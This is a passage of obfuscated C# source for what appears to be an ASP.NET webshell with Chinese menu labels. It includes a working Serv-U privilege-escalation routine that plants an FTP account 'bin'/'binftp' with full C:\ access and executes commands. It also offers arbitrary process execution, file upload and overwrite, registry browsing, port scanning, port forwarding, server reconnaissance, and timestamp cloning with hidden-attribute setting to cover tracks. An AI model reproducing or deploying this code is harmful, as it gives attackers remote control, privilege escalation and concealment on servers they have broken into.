            string NPPZ = DdmPl(mQII, "ProcessorNameString");
            WICxe();
            ghaB.Visible = true;
            Bin_H2_Title.InnerText = "系统信息 >>";
            Bin_H2_Mac.InnerText = "网卡信息 >>";
            Bin_H2_Driver.InnerText = "驱动信息 >>";
            StringBuilder yEwc = new StringBuilder();
            StringBuilder hwJeS = new StringBuilder();
            StringBuilder jXkaE = new StringBuilder();
            yEwc.Append("<li><u>Server Domain : </u>" + Request.ServerVariables["SERVER_NAME"] + "</li>");
            yEwc.Append("<li><u>Server Ip : </u>" + Request.ServerVariables["LOCAL_ADDR"] + ":" + Request.ServerVariables["SERVER_PORT"] + "</li>");
            yEwc.Append("<li><u>Terminal Port : </u>" + IKjwH + "</li>");
            yEwc.Append("<li><u>Server OS : </u>" + Environment.OSVersion + "</li>");
            yEwc.Append("<li><u>Server Software : </u>" + Request.ServerVariables["SERVER_SOFTWARE"] + "</li>");
            yEwc.Append("<li><u>Server UserName : </u>" + Environment.UserName + "</li>");
            yEwc.Append("<li><u>Server Time : </u>" + System.DateTime.Now.ToString() + "</li>");
            yEwc.Append("<li><u>Server TimeZone : </u>" + cCf("Win32_TimeZone").Rows[0]["Caption"] + "</li>");
            DataTable BIOS = cCf("Win32_BIOS");
            yEwc.Append("<li><u>Server BIOS : </u>" + BIOS.Rows[0]["Manufacturer"] + " : " + BIOS.Rows[0]["Name"] + "</li>");
            yEwc.Append("<li><u>CPU Count : </u>" + cpu.ToString() + "</li>");
            yEwc.Append("<li><u>CPU Version : </u>" + NPPZ + "</li>");
            DataTable upM = cCf("Win32_PhysicalMemory");
            Int64 oZnZV = 0;
            for (int i = 0; i < upM.Rows.Count; i++)
            {
                oZnZV += Int64.Parse(upM.Rows[0]["Capacity"].ToString());
            }
            yEwc.Append("<li><u>Server upM : </u>" + mTG(oZnZV) + "</li>");
            DataTable dOza = cCf("Win32_NetworkAdapterConfiguration");
            for (int i = 0; i < dOza.Rows.Count; i++)
            {
                hwJeS.Append("<li><u>Server MAC" + i + " : </u>" + dOza.Rows[i]["Caption"] + "</li>");
                if (dOza.Rows[i]["MACAddress"] != string.Empty)
                {
                    hwJeS.Append("<li style=\"list-style:none;\"><u>Address : </u>" + dOza.Rows[i]["MACAddress"] + "</li>");
                }
            }
            DataTable Driver = cCf("Win32_SystemDriver");
            for (int i = 0; i < Driver.Rows.Count; i++)
            {
                jXkaE.Append("<li><u class='u1'>Server Driver" + i + " : </u><u class='u2'>" + Driver.Rows[i]["Caption"] + "</u> ");
                if (Driver.Rows[i]["PathName"] != string.Empty)
                {
                    jXkaE.Append("Path : " + Driver.Rows[i]["PathName"]);
                }
                else
                {
                    jXkaE.Append("No path information");
                }
                jXkaE.Append("</li>");
            }
            Bin_Ul_Sys.InnerHtml = yEwc.ToString();
            Bin_Ul_NetConfig.InnerHtml = hwJeS.ToString();
            Bin_Ul_Driver.InnerHtml = jXkaE.ToString();
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    public void ADCpk()
    {
        WICxe();
        APl.Visible = true;
        Bin_H2_Title.InnerText = "Serv-U 提权 >>";
    }
    public void lDODR()
    {
        string JGGg = string.Empty;
        string user = dNohJ.Value;
        string pass = NMd.Value;
        int port = Int32.Parse(HlQl.Value);
        string cmd = mHbjB.Value;
        string CRtK = "user " + user + "\r\n";
        string jnNG = "pass " + pass + "\r\n";
        string site = "SITE MAINTENANCE\r\n";
        string mtoJb = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
        string sutI = "-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
        string iVDT = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
        string zexn = "QUIT\r\n";
        UHlA.Visible = true;
        try
        {
            tcp.Connect("127.0.0.1", port);
            tcp.ReceiveBufferSize = 1024;
            NS = tcp.GetStream();
            Rev(NS);
            ZJiM(NS, CRtK);
            Rev(NS);
            ZJiM(NS, jnNG);
            Rev(NS);
            ZJiM(NS, site);
            Rev(NS);
            ZJiM(NS, mtoJb);
            Rev(NS);
            ZJiM(NS, sutI);
            Rev(NS);
            ZJiM(NS, iVDT);
            Rev(NS);
            Bin_Td_Res.InnerHtml += "<font color=\"green\"><b>Exec Cmd.................\r\n</b></font>";
            zvxm.Connect(Request.ServerVariables["LOCAL_ADDR"], 52521);
            NS1 = zvxm.GetStream();
            Rev(NS1);
            ZJiM(NS1, "user bin\r\n");
            Rev(NS1);
            ZJiM(NS1, "pass binftp\r\n");
            Rev(NS1);
            ZJiM(NS1, "site exec " + cmd + "\r\n");
            Rev(NS1);
            ZJiM(NS1, "quit\r\n");
            Rev(NS1);
            zvxm.Close();
            ZJiM(NS, mtoJb);
            Rev(NS);
            tcp.Close();
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    protected void Rev(NetworkStream instream)
    {
        string FTBtf = string.Empty;
        if (instream.CanRead)
        {
            byte[] uPZ = new byte[1024];
            do
            {
                System.Threading.Thread.Sleep(50);
                int len = instream.Read(uPZ, 0, uPZ.Length);
                FTBtf += Encoding.Default.GetString(uPZ, 0, len);
            }
            while (instream.DataAvailable);
        }
        Bin_Td_Res.InnerHtml += "<font color=red>" + FTBtf.Replace("\0", "") + "</font>";
    }
    protected void ZJiM(NetworkStream instream, string Sendstr)
    {
        if (instream.CanWrite)
        {
            byte[] uPZ = Encoding.Default.GetBytes(Sendstr);
            instream.Write(uPZ, 0, uPZ.Length);
        }
        Bin_Td_Res.InnerHtml += "<font color=blue>" + Sendstr + "</font>";
    }
    public void xFhz()
    {
        WICxe();
        kkHN.Visible = true;
        Bin_H2_Title.InnerText = "注册表查询 >>";
        string txc = @"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
        vyX.Text = "";
        foreach (string rootkey in txc.Split('|'))
        {
            vyX.Text += "<a href=\"javascript:Bin_PostBack('Bin_Regread','" + MVVJ(rootkey) + "')\">" + rootkey + "</a> | ";
        }
        lFAvw();
    }
    protected void lFAvw()
    {
        qPdI.Text = "";
        string txc = @"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
        TableRow tr;
        TableCell tc;
        foreach (string rootkey in txc.Split('|'))
        {
            tr = new TableRow();
            tc = new TableCell();
            string bg = OKM();
            tr.Attributes["onmouseover"] = "this.className='focus';";
            tr.CssClass = bg;
            tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
            tc.Width = Unit.Parse("40%");
            tc.Text = "<a href=\"javascript:Bin_PostBack('Bin_Regread','" + MVVJ(rootkey) + "')\">" + rootkey + "</a>";
            tr.Cells.Add(tc);
            tc = new TableCell();
            tc.Width = Unit.Parse("60%");
            tc.Text = "&lt;RootKey&gt;";
            tr.Cells.Add(tc);
            pLWD.Rows.Add(tr);
        }
    }
    protected void tpRQ(string Reg_Path)
    {
        if (!Reg_Path.EndsWith("\\"))
        {
            Reg_Path = Reg_Path + "\\";
        }
        qPdI.Text = Reg_Path;
        string cJG = Regex.Replace(Reg_Path, @"\\[^\\]+\\?$", "");
        cJG = Regex.Replace(cJG, @"\\+", "\\");
        TableRow tr = new TableRow();
        TableCell tc = new TableCell();
        string bg = OKM();
        tr.Attributes["onmouseover"] = "this.className='focus';";
        tr.CssClass = bg;
        tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
        tc.Text = "<a href=\"javascript:Bin_PostBack('Bin_Regread','" + MVVJ(cJG) + "')\">Parent Key</a>";
        tc.Attributes["colspan"] = "2";
        tr.Cells.Add(tc);
        pLWD.Rows.Add(tr);
        try
        {
            string subpath;
            string kDgkX = Reg_Path.Substring(Reg_Path.IndexOf("\\") + 1, Reg_Path.Length - Reg_Path.IndexOf("\\") - 1);
            RegistryKey rk = null;
            RegistryKey sk;
            if (Reg_Path.StartsWith("HKEY_LOCAL_MACHINE"))
            {
                rk = Registry.LocalMachine;
            }
            else if (Reg_Path.StartsWith("HKEY_CLASSES_ROOT"))
            {
                rk = Registry.ClassesRoot;
            }
            else if (Reg_Path.StartsWith("HKEY_CURRENT_USER"))
            {
                rk = Registry.CurrentUser;
            }
            else if (Reg_Path.StartsWith("HKEY_USERS"))
            {
                rk = Registry.Users;
            }
            else if (Reg_Path.StartsWith("HKEY_CURRENT_CONFIG"))
            {
                rk = Registry.CurrentConfig;
            }
            if (kDgkX.Length > 1)
            {
                sk = rk.OpenSubKey(kDgkX);
            }
            else
            {
                sk = rk;
            }
            foreach (string innerSubKey in sk.GetSubKeyNames())
            {
                tr = new TableRow();
                tc = new TableCell();
                bg = OKM();
                tr.Attributes["onmouseover"] = "this.className='focus';";
                tr.CssClass = bg;
                tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                tc.Width = Unit.Parse("40%");
                tc.Text = "<a href=\"javascript:Bin_PostBack('Bin_Regread','" + MVVJ(Reg_Path + innerSubKey) + "')\">" + innerSubKey + "</a>";
                tr.Cells.Add(tc);
                tc = new TableCell();
                tc.Width = Unit.Parse("60%");
                tc.Text = "&lt;SubKey&gt;";
                tr.Cells.Add(tc);
                pLWD.Rows.Add(tr);
            }
            TableRow cKVA = new TableRow();
            cKVA.Attributes["style"] = "border-top:1px solid #fff;border-bottom:1px solid #ddd;";
            cKVA.Attributes["bgcolor"] = "#dddddd";
            TableCell JlmW = new TableCell();
            JlmW.Attributes["colspan"] = "2";
            JlmW.Attributes["height"] = "5";
            cKVA.Cells.Add(JlmW);
            pLWD.Rows.Add(cKVA);
            foreach (string strValueName in sk.GetValueNames())
            {
                tr = new TableRow();
                tc = new TableCell();
                bg = OKM();
                tr.Attributes["onmouseover"] = "this.className='focus';";
                tr.CssClass = bg;
                tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
                tc.Width = Unit.Parse("40%");
                tc.Text = strValueName;
                tr.Cells.Add(tc);
                tc = new TableCell();
                tc.Width = Unit.Parse("60%");
                tc.Text = DdmPl(sk, strValueName);
                tr.Cells.Add(tc);
                pLWD.Rows.Add(tr);
            }
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    public string DdmPl(RegistryKey sk, string strValueName)
    {
        object uPZ;
        string RaTGr = "";
        try
        {
            uPZ = sk.GetValue(strValueName, "NULL");
            if (uPZ.GetType() == typeof(byte[]))
            {
                foreach (byte tmpbyte in (byte[])uPZ)
                {
                    if ((int)tmpbyte < 16)
                    {
                        RaTGr += "0";
                    }
                    RaTGr += tmpbyte.ToString("X");
                }
            }
            else if (uPZ.GetType() == typeof(string[]))
            {
                foreach (string tmpstr in (string[])uPZ)
                {
                    RaTGr += tmpstr;
                }
            }
            else
            {
                RaTGr = uPZ.ToString();
            }
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        return RaTGr;
    }
    public void vNCHZ()
    {
        WICxe();
        YwLB.Visible = true;
        Bin_H2_Title.InnerText = "端口扫描 >>";
    }
    public void rAhe()
    {
        WICxe();

        Bin_H2_Title.InnerText = "数据库 >>";
    }
    protected void OUj()
    {
        if (Dtdr.State == ConnectionState.Closed)
        {
            try
            {

                Kkvb.Connection = Dtdr;
                Dtdr.Open();
            }
            catch (Exception Error)
            {
                xseuB(Error.Message);
            }
        }
    }
    protected void fUzE()
    {
        if (Dtdr.State == ConnectionState.Open)
            Dtdr.Close();
        Dtdr.Dispose();
        Kkvb.Dispose();
    }
    public DataTable CYUe(string sqlstr)
    {
        OleDbDataAdapter da = new OleDbDataAdapter();
        DataTable Dstog = new DataTable();
        try
        {
            OUj();
            Kkvb.CommandType = CommandType.Text;
            Kkvb.CommandText = sqlstr;
            da.SelectCommand = Kkvb;
            da.Fill(Dstog);
        }
        catch (Exception)
        {
        }
        finally
        {
            fUzE();
        }
        return Dstog;
    }
    public DataTable[] Bin_Data(string query)
    {
        ArrayList list = new ArrayList();
        try
        {
            string str;
            OUj();
            query = query + "\r\n";
            MatchCollection gcod = new Regex("[\r\n][gG][oO][\r\n]").Matches(query);
            int EmRX = 0;
            for (int i = 0; i < gcod.Count; i++)
            {
                Match FJD = gcod[i];
                str = query.Substring(EmRX, FJD.Index - EmRX);
                if (str.Trim().Length > 0)
                {
                    OleDbDataAdapter FgzeQ = new OleDbDataAdapter();
                    Kkvb.CommandType = CommandType.Text;
                    Kkvb.CommandText = str.Trim();
                    FgzeQ.SelectCommand = Kkvb;
                    DataSet cDPp = new DataSet();
                    FgzeQ.Fill(cDPp);
                    for (int j = 0; j < cDPp.Tables.Count; j++)
                    {
                        list.Add(cDPp.Tables[j]);
                    }
                }
                EmRX = FJD.Index + 3;
            }
            str = query.Substring(EmRX, query.Length - EmRX);
            if (str.Trim().Length > 0)
            {
                OleDbDataAdapter VwB = new OleDbDataAdapter();
                Kkvb.CommandType = CommandType.Text;
                Kkvb.CommandText = str.Trim();
                VwB.SelectCommand = Kkvb;
                DataSet arG = new DataSet();
                VwB.Fill(arG);
                for (int k = 0; k < arG.Tables.Count; k++)
                {
                    list.Add(arG.Tables[k]);
                }
            }
        }
        catch (SqlException e)
        {
            xseuB(e.Message);

        }
        return (DataTable[])list.ToArray(typeof(DataTable));
    }
    public void JIAKU(string instr)
    {
        try
        {
            OUj();
            Kkvb.CommandType = CommandType.Text;
            Kkvb.CommandText = instr;
            Kkvb.ExecuteNonQuery();
        }
        catch (Exception e)
        {
            xseuB(e.Message);
        }
    }
    public void dwgT()
    {

    }
    public void xTZY()
    {

    }
    private void lRavM(object sender, EventArgs e)
    {
        DataGrid d = (DataGrid)sender;
        foreach (DataGridItem item in d.Items)
        {
            foreach (TableCell t in item.Cells)
            {
                t.Text = t.Text.Replace("<", "&lt;").Replace(">", "&gt;");
            }
        }
    }
    public void vCf()
    {

    }
    public void MHLv()
    {
        WICxe();
        hOWTm.Visible = true;
        Bin_H2_Title.InnerText = "端口映射 >>";
    }
    public class PortForward
    {
        public string Localaddress;
        public int LocalPort;
        public string RemoteAddress;
        public int RemotePort;
        string type;
        Socket ltcpClient;
        Socket rtcpClient;
        Socket server;
        byte[] DPrPL = new byte[2048];
        byte[] wvZv = new byte[2048];
        public struct session
        {
            public Socket rdel;
            public Socket ldel;
            public int llen;
            public int rlen;
        }
        public static IPEndPoint mtJ(string host, int port)
        {
            IPEndPoint iep = null;
            IPHostEntry aGN = Dns.Resolve(host);
            IPAddress rmt = aGN.AddressList[0];
            iep = new IPEndPoint(rmt, port);
            return iep;
        }
        public void Start(string Rip, int Rport, string lip, int lport)
        {
            try
            {
                LocalPort = lport;
                RemoteAddress = Rip;
                RemotePort = Rport;
                Localaddress = lip;
                rtcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                ltcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                rtcpClient.BeginConnect(mtJ(RemoteAddress, RemotePort), new AsyncCallback(iiGFO), rtcpClient);
            }
            catch (Exception ex) { }
        }
        protected void iiGFO(IAsyncResult ar)
        {
            try
            {
                session RKXy = new session();
                RKXy.ldel = ltcpClient;
                RKXy.rdel = rtcpClient;
                ltcpClient.BeginConnect(mtJ(Localaddress, LocalPort), new AsyncCallback(VTp), RKXy);
            }
            catch (Exception ex) { }
        }
        protected void VTp(IAsyncResult ar)
        {
            try
            {
                session RKXy = (session)ar.AsyncState;
                ltcpClient.EndConnect(ar);
                RKXy.rdel.BeginReceive(DPrPL, 0, DPrPL.Length, SocketFlags.None, new AsyncCallback(LFYM), RKXy);
                RKXy.ldel.BeginReceive(wvZv, 0, wvZv.Length, SocketFlags.None, new AsyncCallback(xPS), RKXy);
            }
            catch (Exception ex) { }
        }
        private void LFYM(IAsyncResult ar)
        {
            try
            {
                session RKXy = (session)ar.AsyncState;
                int Ret = RKXy.rdel.EndReceive(ar);
                if (Ret > 0)
                    ltcpClient.BeginSend(DPrPL, 0, Ret, SocketFlags.None, new AsyncCallback(JTcp), RKXy);
                else lyTOK();
            }
            catch (Exception ex) { }
        }
        private void JTcp(IAsyncResult ar)
        {
            try
            {
                session RKXy = (session)ar.AsyncState;
                RKXy.ldel.EndSend(ar);
                RKXy.rdel.BeginReceive(DPrPL, 0, DPrPL.Length, SocketFlags.None, new AsyncCallback(this.LFYM), RKXy);
            }
            catch (Exception ex) { }
        }
        private void xPS(IAsyncResult ar)
        {
            try
            {
                session RKXy = (session)ar.AsyncState;
                int Ret = RKXy.ldel.EndReceive(ar);
                if (Ret > 0)
                    RKXy.rdel.BeginSend(wvZv, 0, Ret, SocketFlags.None, new AsyncCallback(IZU), RKXy);
                else lyTOK();
            }
            catch (Exception ex) { }
        }
        private void IZU(IAsyncResult ar)
        {
            try
            {
                session RKXy = (session)ar.AsyncState;
                RKXy.rdel.EndSend(ar);
                RKXy.ldel.BeginReceive(wvZv, 0, wvZv.Length, SocketFlags.None, new AsyncCallback(this.xPS), RKXy);
            }
            catch (Exception ex) { }
        }
        public void lyTOK()
        {
            try
            {
                if (ltcpClient != null)
                {
                    ltcpClient.Close();
                }
                if (rtcpClient != null)
                    rtcpClient.Close();
            }
            catch (Exception ex) { }
        }
    }
    protected void vuou()
    {
        PortForward gYP = new PortForward();
        gYP.lyTOK();
    }
    protected void ruQO()
    {
        PortForward gYP = new PortForward();
        gYP.Start(llH.Value, int.Parse(ZHS.Value), eEpm.Value, int.Parse(iXdh.Value));
    }
    public string mRDl(string instr)
    {
        string tmp = null;
        try
        {
            tmp = System.Net.Dns.Resolve(instr).AddressList[0].ToString();
        }
        catch (Exception e)
        {
        }
        return tmp;
    }
    public void VikG()
    {
        string[] OTV = lOmX.Text.ToString().Split(',');
        for (int i = 0; i < OTV.Length; i++)
        {
            IVc.Add(new ScanPort(mRDl(MdR.Text.ToString()), Int32.Parse(OTV[i])));
        }
        try
        {
            Thread[] kbXY = new Thread[IVc.Count];
            int sdO = 0;
            for (sdO = 0; sdO < IVc.Count; sdO++)
            {
                kbXY[sdO] = new Thread(new ThreadStart(((ScanPort)IVc[sdO]).Scan));
                kbXY[sdO].Start();
            }
            for (sdO = 0; sdO < kbXY.Length; sdO++)
                kbXY[sdO].Join();
        }
        catch
        {
        }
    }
    public class ScanPort
    {
        private string _ip = "";
        private int jTdO = 0;
        private TimeSpan _timeSpent;
        private string QGcH = "Not scanned";
        public string ip
        {
            get { return _ip; }
        }
        public int port
        {
            get { return jTdO; }
        }
        public string status
        {
            get { return QGcH; }
        }
        public TimeSpan timeSpent
        {
            get { return _timeSpent; }
        }
        public ScanPort(string ip, int port)
        {
            _ip = ip;
            jTdO = port;
        }
        public void Scan()
        {
            TcpClient iYap = new TcpClient();
            DateTime qYZT = DateTime.Now;
            try
            {
                iYap.Connect(_ip, jTdO);
                iYap.Close();
                QGcH = "<font color=green><b>Open</b></font>";
            }
            catch
            {
                QGcH = "<font color=red><b>Close</b></font>";
            }
            _timeSpent = DateTime.Now.Subtract(qYZT);
        }
    }
    public static void YFcNP(System.Web.UI.Page page)
    {
        page.RegisterHiddenField("__EVENTTARGET", "");
        page.RegisterHiddenField("__FILE", "");
        string s = @"<script language=Javascript>";
        s += @"function Bin_PostBack(eventTarget,eventArgument)";
        s += @"{";
        s += @"var theform=document.forms[0];";
        s += @"theform.__EVENTTARGET.value=eventTarget;";
        s += @"theform.__FILE.value=eventArgument;";
        s += @"theform.submit();";
        s += @"} ";
        s += @"</scr" + "ipt>";
        page.RegisterStartupScript("", s);
    }
    protected void PPtK(object sender, EventArgs e)
    {
        WICxe();
        yhv.Visible = true;
        Bin_H2_Title.InnerText = "文件搜索 >>";
        NaLJ.Value = Request.PhysicalApplicationPath;
        oJiym.Visible = false;
    }
    protected void NBy(object sender, EventArgs e)
    {
        DirectoryInfo GQMM = new DirectoryInfo(NaLJ.Value);
        if (!GQMM.Exists)
        {
            xseuB("Path invalid ! ");
            return;
        }
        oog(GQMM);
        xseuB("Search completed ! ");
    }
    public void oog(DirectoryInfo dir)
    {
        try
        {
            oJiym.Visible = true;
            foreach (FileInfo Bin_Files in dir.GetFiles())
            {
                try
                {
                    if (Bin_Files.FullName == Request.PhysicalPath)
                    {
                        continue;
                    }
                    if (!Regex.IsMatch(Bin_Files.Extension.Replace(".", ""), "^(" + UDLvA.Value + ")$", RegexOptions.IgnoreCase))
                    {
                        continue;
                    }
                    if (Ven.SelectedItem.Value == "name")
                    {
                        if (rAQ.Checked)
                        {
                            if (Regex.IsMatch(Bin_Files.Name, iaMKl.Value, RegexOptions.IgnoreCase))
                            {
                                FJvQ(Bin_Files);
                            }
                        }
                        else
                        {
                            if (Bin_Files.Name.ToLower().IndexOf(iaMKl.Value.ToLower()) != -1)
                            {
                                Response.Write(Bin_Files.FullName);
                                FJvQ(Bin_Files);
                            }
                        }
                    }
                    else
                    {
                        StreamReader sr = new StreamReader(Bin_Files.FullName, Encoding.Default);
                        string ava = sr.ReadToEnd();
                        sr.Close();
                        if (rAQ.Checked)
                        {
                            if (Regex.IsMatch(ava, iaMKl.Value, RegexOptions.IgnoreCase))
                            {
                                FJvQ(Bin_Files);
                                if (YZw.Checked)
                                {
                                    ava = Regex.Replace(ava, iaMKl.Value, qPe.Value, RegexOptions.IgnoreCase);
                                    StreamWriter sw = new StreamWriter(Bin_Files.FullName, false, Encoding.Default);
                                    sw.Write(ava);
                                    sw.Close();
                                }
                            }
                        }
                        else
                        {
                            if (ava.ToLower().IndexOf(iaMKl.Value.ToLower()) != -1)
                            {
                                FJvQ(Bin_Files);
                                if (YZw.Checked)
                                {
                                    ava = Strings.Replace(ava, iaMKl.Value, qPe.Value, 1, -1, CompareMethod.Text);
                                    StreamWriter sw = new StreamWriter(Bin_Files.FullName, false, Encoding.Default);
                                    sw.Write(ava);
                                    sw.Close();
                                }
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    xseuB(ex.Message);
                    continue;
                }
            }
            foreach (DirectoryInfo subdir in dir.GetDirectories())
            {
                oog(subdir);
            }
        }
        catch (Exception ex)
        {
            xseuB(ex.Message);
        }
    }
    public void FJvQ(FileInfo objfile)
    {
        TableRow tr = new TableRow();
        TableCell tc = new TableCell();
        string bg = OKM();
        tr.Attributes["onmouseover"] = "this.className='focus';";
        tr.CssClass = bg;
        tr.Attributes["onmouseout"] = "this.className='" + bg + "';";
        tc.Text = "<a href=\"javascript:Bin_PostBack('Bin_Listdir','" + MVVJ(objfile.DirectoryName) + "')\">" + objfile.FullName + "</a>";
        tr.Cells.Add(tc);
        tc = new TableCell();
        tc.Text = objfile.LastWriteTime.ToString();
        tr.Cells.Add(tc);
        tc = new TableCell();
        tc.Text = mTG(objfile.Length);
        tr.Cells.Add(tc);
        oJiym.Rows.Add(tr);
    }
    public void xseuB(string instr)
    {
        jDKt.Visible = true;
        jDKt.InnerText = instr;
    }
    protected void xVm(object sender, EventArgs e)
    {
        string Jfm = FormsAuthentication.HashPasswordForStoringInConfigFile(HRJ.Text, "MD5").ToLower();
        if (Jfm == Password)
        {
            Response.Cookies.Add(new HttpCookie(vbhLn, Password));
            ljtzC.Visible = false;
            PBZw();
        }
        else
        {
            tZSx();
        }
    }
    protected void Ybg(object sender, EventArgs e)
    {
        krIR(Server.MapPath("."));
    }
    protected void KjPi(object sender, EventArgs e)
    {
        Bin_H2_Title.InnerText = "IIS探测 >>";
        WICxe();
        VNR.Visible = true;
        AdCx();
    }
    protected void DGCoW(object sender, EventArgs e)
    {
        try
        {
            StreamWriter sw;
            if (NdCX.SelectedItem.Text == "UTF-8")
            {
                sw = new StreamWriter(Sqon.Value, false, Encoding.UTF8);
            }
            else
            {
                sw = new StreamWriter(Sqon.Value, false, Encoding.Default);
            }
            sw.Write(Xgvv.InnerText);
            sw.Close();
            xseuB("Save file success !");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    protected void lbjLD(object sender, EventArgs e)
    {
        string FlwA = AXSbb.Value;
        FlwA = OElM(FlwA);
        try
        {
            Fhq.PostedFile.SaveAs(FlwA + Path.GetFileName(Fhq.Value));
            xseuB("File upload success!");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    protected void EXV(object sender, EventArgs e)
    {
        krIR(AXSbb.Value);
    }
    protected void mcCY(object sender, EventArgs e)
    {
        krIR(Server.MapPath("."));
    }
    protected void iVk(object sender, CommandEventArgs e)
    {
        krIR(e.CommandArgument.ToString());
    }
    protected void XXrLw(object sender, EventArgs e)
    {
        try
        {
            File.SetCreationTimeUtc(QiFB.Value, File.GetCreationTimeUtc(lICp.Value));
            File.SetLastAccessTimeUtc(QiFB.Value, File.GetLastAccessTimeUtc(lICp.Value));
            File.SetLastWriteTimeUtc(QiFB.Value, File.GetLastWriteTimeUtc(lICp.Value));
            xseuB("File time clone success!");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    protected void tIykC(object sender, EventArgs e)
    {
        string path = pWVL.Value;
        try
        {
            File.SetAttributes(path, FileAttributes.Normal);
            if (ZhWSK.Checked)
            {
                File.SetAttributes(path, FileAttributes.ReadOnly);
            }
            if (SsR.Checked)
            {
                File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.System);
            }
            if (ccB.Checked)
            {
                File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden);
            }
            if (fbyZ.Checked)
            {
                File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Archive);
            }
            File.SetCreationTimeUtc(path, Convert.ToDateTime(yUqx.Value));
            File.SetLastAccessTimeUtc(path, Convert.ToDateTime(aLsn.Value));
            File.SetLastWriteTimeUtc(path, Convert.ToDateTime(uYjw.Value));
            xseuB("File attributes modify success!");
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
        krIR(AXSbb.Value);
    }
    protected void VOxn(object sender, EventArgs e)
    {
        WICxe();
        vIac.Visible = true;
        Bin_H2_Title.InnerText = "执行命令>>";
    }
    protected void FbhN(object sender, EventArgs e)
    {
        try
        {
            Process ahAE = new Process();
            ahAE.StartInfo.FileName = kusi.Value;
            ahAE.StartInfo.Arguments = bkcm.Value;
            ahAE.StartInfo.UseShellExecute = false;
            ahAE.StartInfo.RedirectStandardInput = true;
            ahAE.StartInfo.RedirectStandardOutput = true;
            ahAE.StartInfo.RedirectStandardError = true;
            ahAE.Start();
            string Uoc = ahAE.StandardOutput.ReadToEnd();
            Uoc = Uoc.Replace("<", "&lt;");
            Uoc = Uoc.Replace(">", "&gt;");
            Uoc = Uoc.Replace("\r\n", "<br>");
            tnQRF.Visible = true;
            tnQRF.InnerHtml = "<hr width=\"100%\" noshade/><pre>" + Uoc + "</pre>";
        }
        catch (Exception error)
        {
            xseuB(error.Message);
        }
    }
    protected void RAFL(object sender, EventArgs e)
    {
        if (qPdI.Text.Length > 0)
        {
            tpRQ(qPdI.Text);
        }
        else
        {
            lFAvw();
        }
    }
    protected void Grxk(object sender, EventArgs e)
    {
        YUw();
    }
    protected void ilC(object sender, EventArgs e)
    {
        tZRH();
    }
    protected void HtB(object sender, EventArgs e)
    {
        pDVM();
    }
    protected void Olm(object sender, EventArgs e)
    {
        iLVUT();
    }
    protected void jXhS(object sender, EventArgs e)
    {
        ADCpk();
    }
    protected void lRfRj(object sender, EventArgs e)
    {
        lDODR();
    }
    protected void xSy(object sender, EventArgs e)
    {
        xFhz();
    }
    protected void dMx(object sender, EventArgs e)
    {
        rAhe();
    }
    protected void zOVO(object sender, EventArgs e)
    {
        if (((DropDownList)sender).ID.ToString() == "WYmo")
        {

        }
        if (((DropDownList)sender).ID.ToString() == "Pvf")
        {
            xTZY();
        }
        if (((DropDownList)sender).ID.ToString() == "FGEy")
        {

        }
        if (((DropDownList)sender).ID.ToString() == "NdCX")
        {
            gLKc(Sqon.Value);
        }
    }
    protected void IkkO(object sender, EventArgs e)
    {
        krIR(AXSbb.Value);
    }
    protected void BGY(object sender, EventArgs e)
    {
        vCf();
    }
    protected void cptS(object sender, EventArgs e)
    {
        vNCHZ();
    }
    protected void fDO(object sender, EventArgs e)
    {
        MHLv();
    }
    protected void vJNsE(object sender, EventArgs e)
    {
        vuou();
        xseuB("Clear All Thread ......");
    }
    protected void wDZ(object sender, EventArgs e)
    {
        if (iXdh.Value == "" || eEpm.Value.Length < 7 || ZHS.Value == "") return;
        ruQO();
        xseuB("All Thread Start ......");
    }
    protected void tYoZ(object sender, EventArgs e)
    {
    }
    protected void ELkQ(object sender, EventArgs e)
    {
        VikG();
        GBYT.Visible = true;
        string res = string.Empty;
        foreach (ScanPort th in IVc)
        {
            res += th.ip + " : " + th.port + " ................................. " + th.status + "<br>";
        }
        GBYT.InnerHtml = res;
    }
    protected void ORUgV(object sender, EventArgs e)
    {
        dwgT();
    }
    public void WICxe()
    {
        DCbS.Visible = false;
        CzfO.Visible = false;
        APl.Visible = false;
        vIac.Visible = false;
        kkHN.Visible = false;
        YwLB.Visible = false;
        hOWTm.Visible = false;
